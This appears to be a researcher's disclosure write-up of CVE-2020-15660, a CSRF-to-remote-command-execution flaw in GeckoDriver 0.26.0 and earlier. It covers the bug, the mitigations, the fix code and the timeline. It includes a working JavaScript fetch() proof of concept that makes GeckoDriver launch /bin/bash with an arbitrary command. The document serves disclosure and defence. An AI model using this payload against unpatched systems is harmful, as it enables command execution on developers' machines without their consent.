CSRF to RCE in GeckoDriver
Published:
Updated:
A Cross-Site Request Forgery (CSRF) vulnerability I found in GeckoDriver which could be used to execute arbitrary shell commands. CVE-2020-15660 has been assigned to this vulnerability. This was fixed by GeckoDriver v0.27.0 in 2020-07-27. This is bug #1648964.
GeckoDriver v0.26.0 and below is vulnerable to CSRF. While no WebDriver session is running, this can be used to execute arbitrary system commands (remote command execution) as demonstrated by this exploit:
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"moz:firefoxOptions": {
"binary": "/bin/bash",
"args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
}
}
}
}),
});
I have tested this vulnerability on:
- Mozilla Firefox 79.0a1;
- GeckoDriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000);
- Debian testing.
Table of content
Cross-Site Request Forgery
By default, GeckoDriver listens on http://localhost:4444
. This prevents other machines from directly attacking the GeckoDriver instance. However GeckoDriver is vulnerable to CSRF attacks as demonstrated by:
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {}
}
};
});
When executed by the user's browser from another origin, this code spawns a new Firefox instance. This must happen while no WebDriver session is running in GeckoDriver as GeckoDriver rejects the creation of a second session.
The scope of this attack might seem limited because the attacker cannot easily interact with the created session. Acting on the session through CSRF is possible if the session ID is known but it is not easily possible for the attacker to find the session ID:
- it cannot get the session ID from the GeckoDriver response;
- it is very difficult to guess the session ID as it is a UUIDv4.
Remote Code Execution
It is however possible for the attacker to execute arbitrary commands with the session creation request.
The following properties of moz:firefoxOptions
are of particular interest:
binary
lets the attacker specify the path of the Firefox binary to execute;args
lets the attacker specify a list of arguments to pass to this command;profile
lets the attacker specify a Firefox profile directory (which could be used to load interesting extensions in the browser);prefs
lets the attacker set Firefox preferences;env
lets the attacker set environment variables.
The actual command executed by GeckoDriver to create a browser is:
"$binary" -marionette "$args[@]" -foreground -no-remote -profile "$profile"
In order to execute arbitrary command, we need to find a program which accepts an initial -marionette
argument and execute commands taken from $args
or from environment variables.
bash
can used to execute arbitrary system commands as demonstrated by the following exploit which executes the xterm -e nyancat
system command:
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"moz:firefoxOptions": {
"binary": "/bin/bash",
"args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
}
}
}
}),
});
The command executed by GeckoDriver is:
bash -marionnette posix +n -c 'bash -c "$1"' bash "xterm -e nyancat" \
-foreground -no-remote -profile "$profile"
The initial -marionette
argument is interpreted as a serie of flags. The only problematic ones are:
- The
-r
flag asks for a restricted shell. This might be problematic because it adds a number of restriction to the commands allowed. It is however easy to escape from this restricted shell by calling a new shell instance as is done in this example. - The
-n
flag asks to only parse the commands instead of executing them. This could be problematic but we can actually reverse it with+n
. - The
-o
flags expects an option in the following argument. In this example, we set theposix
option.
Mitigations proposals
Content-Type Validation
CSRF is possible because GeckoDriver accepts requests with any Content-Type
. Another origin can make POST requests to GeckoDriver using the following content-types: application/x-www-form-urlencoded
, multipart/form-data
, text/plain
.
GeckoDriver could fix this vulnerability by rejecting these content-types. GeckoDriver could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.
It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers. I have reportes a similar issue on another whromedriver The specification should explicitly allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionnaly, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.
HTTP-level Authentication
An new command-line flag could be added to GeckoDriver in order to require some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.
PF_LOCAL Socket
GeckoDriver could receive a new option to listen on a PF_LOCAL
socket. These sockets are normally not accessible by CSRF. This could additionnaly be used to prevent other users on the same machine from talking to the GeckoDriver instance.
Implemented Mitigations
Several changes where implemented to harden GeckoDriver against this kind of attacks.
On of these changes include a verification of the Content-Type
header:
if method == Method::POST {
// Disallow CORS-safelisted request headers
// c.f. https://fetch.spec.whatwg.org/#cors-safelisted-request-header
let content_type = content_type_header
.as_ref()
.map(|x| x.find(';').and_then(|idx| x.get(0..idx)).unwrap_or(x))
.map(|x| x.trim())
.map(|x| x.to_lowercase());
match content_type.as_ref().map(|x| x.as_ref()) {
Some("application/x-www-form-urlencoded")
| Some("multipart/form-data")
| Some("text/plain") => {
return warp::reply::with_status(
"Invalid content-type".to_string(),
StatusCode::BAD_REQUEST,
)
}
Some(_) | None => {}
}
In addition, the Origin
header is checked as well:
if let Some(origin) = origin_header {
let mut valid_host = false;
let host_url = Url::parse(&origin).ok();
let host = host_url.as_ref().and_then(|x| x.host().to_owned());
if let Some(host) = host {
valid_host = match host {
Host::Domain("localhost") => true,
Host::Domain(_) => false,
Host::Ipv4(x) => address.is_ipv4() && x == address.ip(),
Host::Ipv6(x) => address.is_ipv6() && x == address.ip(),
};
}
if !valid_host {
return warp::reply::with_status(
"Invalid origin".to_string(),
StatusCode::BAD_REQUEST,
);
}
}
GeckoDriver now passes the --marionette
agument instead of the -marionette
argument. Most programs should reject this argument.
In addition, Firefox now checks that ths program specified in moz:firefoxOptions
/binary
is actually a Firefox instance.
Timeline
- 2020-06-27, Reported to Mozilla
- 2020-06-29, Confirmed by Mozilla
- 2020-07-27, Fixed in GeckoDriver v0.27.0
- 2020-08-04, Bounty awarded ($500)